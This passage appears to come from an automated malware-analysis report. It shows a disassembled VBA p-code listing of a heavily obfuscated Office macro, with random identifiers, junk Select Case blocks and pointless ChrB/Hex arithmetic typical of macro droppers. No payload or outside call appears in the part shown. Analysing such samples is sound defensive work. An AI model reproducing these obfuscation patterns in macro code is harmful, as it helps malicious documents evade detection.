' 	LitDI4 0x293F 0x127B 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St WZiqnCQajEEiDLTw 
' Line #127:
' 	Ld RdJPtOwPAIfDvz 
' 	St zaknTuJPXhUzEjVEIld 
' Line #128:
' 	LitDI4 0xC745 0x0B0D 
' 	Case 
' 	CaseDone 
' Line #129:
' 	LitDI4 0xCC48 0x084A 
' 	St lmPwdmttLHzBiGKKGuJVQ 
' Line #130:
' 	LitDI4 0xF9B0 0x0D1A 
' 	St FwuPPBRCFEkTWWhXikQDmOw 
' Line #131:
' 	EndSelect 
' Line #132:
' 	SetStmt 
' 	Ld WfkARGqzMVRjUAPzQCi 
' 	Set zVzBpGUQsJzjXdruFuzwnno 
' Line #133:
' 	Ld UzlTAWBMLaEfzikIcr 
' 	ArgsLd Hex 0x0001 
' 	St hoHHYJhUzjGKjYiK 
' Line #134:
' 	Ld MKiGwoAssaOVLBwJzkjpz 
' 	SelectCase 
' Line #135:
' 	LitDI4 0x1FC9 0x008A 
' 	Case 
' 	CaseDone 
' Line #136:
' 	LitDI4 0x96E8 0x0110 
' 	LitDI4 0x8F4D 0x021C 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St wrEajEqWoHUVKzbmLKiXMw 
' Line #137:
' 	Ld aOrfmKVwXfOdZB 
' 	St IzTkqwkLYkPuNUnC 
' Line #138:
' 	LitDI4 0x7BBB 0x0FE7 
' 	Case 
' 	CaseDone 
' Line #139:
' 	LitDI4 0x1077 0x1374 
' 	St OYHWlwKjKlPMszquVIWoOfVm 
' Line #140:
' 	LitDI4 0x7250 0x1007 
' 	St SRVhwiavzvffRcDHUBuJFZ 
' Line #141:
' 	EndSelect 
' Line #142:
' 	SetStmt 
' 	Ld uOqqukGKUrnjscBZhCaKPsLF 
' 	Set HQfAkjDUZzftOdnhlz 
' Line #143:
' 	Ld dlSmQMDFiKniCDkYzZNTG 
' 	ArgsLd Hex 0x0001 
' 	St wKtrNNYIbtERZlPdY 
' Line #144:
' 	Ld AWYFKcCcSliBqrikcvfY 
' 	SelectCase 
' Line #145:
' 	LitDI4 0x260D 0x04D0 
' 	Case 
' 	CaseDone 
' Line #146:
' 	LitDI4 0xEECC 0x0598 
' 	LitDI4 0x62C9 0x1351 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St EKFmkppTztRIdVFUK 
' Line #147:
' 	Ld rMnznlkiOIiIkRbuwRW 
' 	St QmnbfStPAhwZTlSOA 
' Line #148:
' 	LitDI4 0x5094 0x0BE3 
' 	Case 
' 	CaseDone 
' Line #149:
' 	LitDI4 0xDFA0 0x0C0F 
' 	St RwZTPusosCrUmWk 
' Line #150:
' 	LitDI4 0x1C09 0x0A1A 
' 	St zCqzEkkszjwZmBrVR 
' Line #151:
' 	EndSelect 
' Line #152:
' 	SetStmt 
' 	Ld JNMobSOuOFBzwUzUQkbLzD 
' 	Set NfXqrtWGnnwuqPiSU 
' Line #153:
' 	Ld nodzWwzrIoGijrW 
' 	ArgsLd Hex 0x0001 
' 	St dzEwlHKEjXiHMDZEFczfQ 
' Line #154:
' 	Ld zuBCZrwbGcVQmjizFpNS 
' 	SelectCase 
' Line #155:
' 	LitDI4 0xF809 0x1112 
' 	Case 
' 	CaseDone 
' Line #156:
' 	LitDI4 0xFCF7 0x12C0 
' 	LitDI4 0xA1AC 0x1061 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St VOOBziQcBKjYiEUr 
' Line #157:
' 	Ld XuRKdbLjOBddOtXzWSllXz 
' 	St UrkdqENnSTzSOonZm 
' Line #158:
' 	LitDI4 0x7D68 0x0E3F 
' 	Case 
' 	CaseDone 
' Line #159:
' 	LitDI4 0xA923 0x01C7 
' 	St wJDrVkrfiCXvBKNISKpLJpE 
' Line #160:
' 	LitDI4 0xC67F 0x0206 
' 	St PRUnBQaJaMUYTLdKwvLVbwM 
' Line #161:
' 	EndSelect 
' Line #162:
' 	SetStmt 
' 	Ld TNHYhIFwwGSWrjmzlazt 
' 	Set PRUnBQaJaMUYTLdKwvLVbwM 
' Line #163:
' 	Ld ELnHOZYpXOLsUOvXWO 
' 	ArgsLd Hex 0x0001 
' 	St wzMBLusjTQFPLiDTltDPZ 
' Line #164:
' 	Dim (Const) 
' 	LitDI2 0x0000 
' 	VarDefn PdpMHjwjdAhuiKbu
' Line #165:
' 	Ld PaAEjRCu 
' 	SelectCase 
' Line #166:
' 	LitDI4 0xB661 0x025D 
' 	Case 
' 	CaseDone 
' Line #167:
' 	LitDI4 0xFC1D 0x04F2 
' 	LitDI4 0x0DF3 0x10D6 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St rkhKJpZWKCNsVUJ 
' Line #168:
' 	Ld wmDmBFrTTCXtDACln 
' 	St mVlBsaWjtHBTUEaMz 
' Line #169:
' 	LitDI4 0x4521 0x0737 
' 	Case 
' 	CaseDone 
' Line #170:
' 	LitDI4 0x3060 0x08BD 
' 	St wJLdPhXCqwmjVI 
' Line #171:
' 	LitDI4 0xF678 0x06A1 
' 	St SASzAnjCMqkHQTBpZvNhEU 
' Line #172:
' 	EndSelect 
' Line #173:
' 	SetStmt 
' 	Ld zQlWwzHaullwdwkAYqV 
' 	Set OzOshnhPbMhCTnDLaI 
' Line #174:
' 	Ld jGUqajYWDCmjmrQckjkzb 
' 	ArgsLd Hex 0x0001 
' 	St JUfEmwVlsCHwDwXwOsw 
' Line #175:
' 	Ld hripuhYmmjultCApdC 
' 	SelectCase 
' Line #176:
' 	LitDI4 0x1CDA 0x04C7 
' 	Case 
' 	CaseDone 
' Line #177:
' 	LitDI4 0x444D 0x0B86 
' 	LitDI4 0xC805 0x0AA0 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St vLwsSmAILHrZdcG 
' Line #178:
' 	Ld zinqFuTjOCYpriqVWNbcEkiU 
' 	St UzfcFpZiqKvXjnaYBVwYB 
' Line #179:
' 	LitDI4 0xF318 0x0373 
' 	Case 
' 	CaseDone 
' Line #180:
' 	LitDI4 0x9D57 0x0907 
' 	St AcGHnfqYkdaBjYwqM 
' Line #181:
' 	LitDI4 0xE200 0x0A4A 
' 	St OlhWicBnBwqOATZFRMbb 
' Line #182:
' 	EndSelect 
' Line #183:
' 	SetStmt 
' 	Ld OahKTiikhGjUZVNIOwWMwnz 
' 	Set QHBQUnpfmsbBGjSFcflrp 
' Line #184:
' 	Ld HuuZLskOWXtSOvb 
' 	ArgsLd Hex 0x0001 
' 	St tmMkwpfsqNmqmdWA 
' Line #185:
' 	Ld URjSunsbndMiXVkcWEq 
' 	SelectCase 
' Line #186:
' 	LitDI4 0x63CC 0x07BE 
' 	Case 
' 	CaseDone 
' Line #187:
' 	LitDI4 0x0459 0x0D38 
' 	LitDI4 0xFC1B 0x04EC 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St bAhiDicPdQoDXWl 
' Line #188:
' 	Ld qbpTOoLswhbRZbhEzQvmLa 
' 	St iEFGKFuTccOfvoCjOG 
' Line #189:
' 	LitDI4 0x189F 0x12C3 
' 	Case 
' 	CaseDone 
' Line #190:
' 	LitDI4 0x49FD 0x0A65 
' 	St OkiblXIQDHjndPm 
' Line #191:
' 	LitDI4 0x9573 0x04E3 
' 	St jbiumOWNUbPpmZdQV 
' Line #192:
' 	EndSelect 
' Line #193:
' 	SetStmt 
' 	Ld QwtaQhDWIpDPDJGpd 
' 	Set jMZVpRYJsoEpMUiDjwLcW 
' Line #194:
' 	Ld wrHcpRvzIFaudGiORjp 
' 	ArgsLd Hex 0x0001 
' 	St EdYQmDUIVtUJwMTwI 
' Line #195:
' 	Ld KqFILJCwrqvFAh 
' 	SelectCase 
' Line #196:
' 	LitDI4 0xFC03 0x0767 
' 	Case 
' 	CaseDone 
' Line #197:
' 	LitDI4 0x9A18 0x0BF4 
' 	LitDI4 0x74F0 0x0311 
' 	ArgsLd ChrB 0x0001 
' 	Div 
' 	ArgsLd ChrB 0x0001 
' 	St HDYmorWrmBzMaiYiUd 
' Line #198:
' 	Ld iqjfkaQuowVkiiuNT 
' 	St dtkcCroGacXjnikzO 
…

Open this report in the interactive analyzer, or submit your own file for analysis.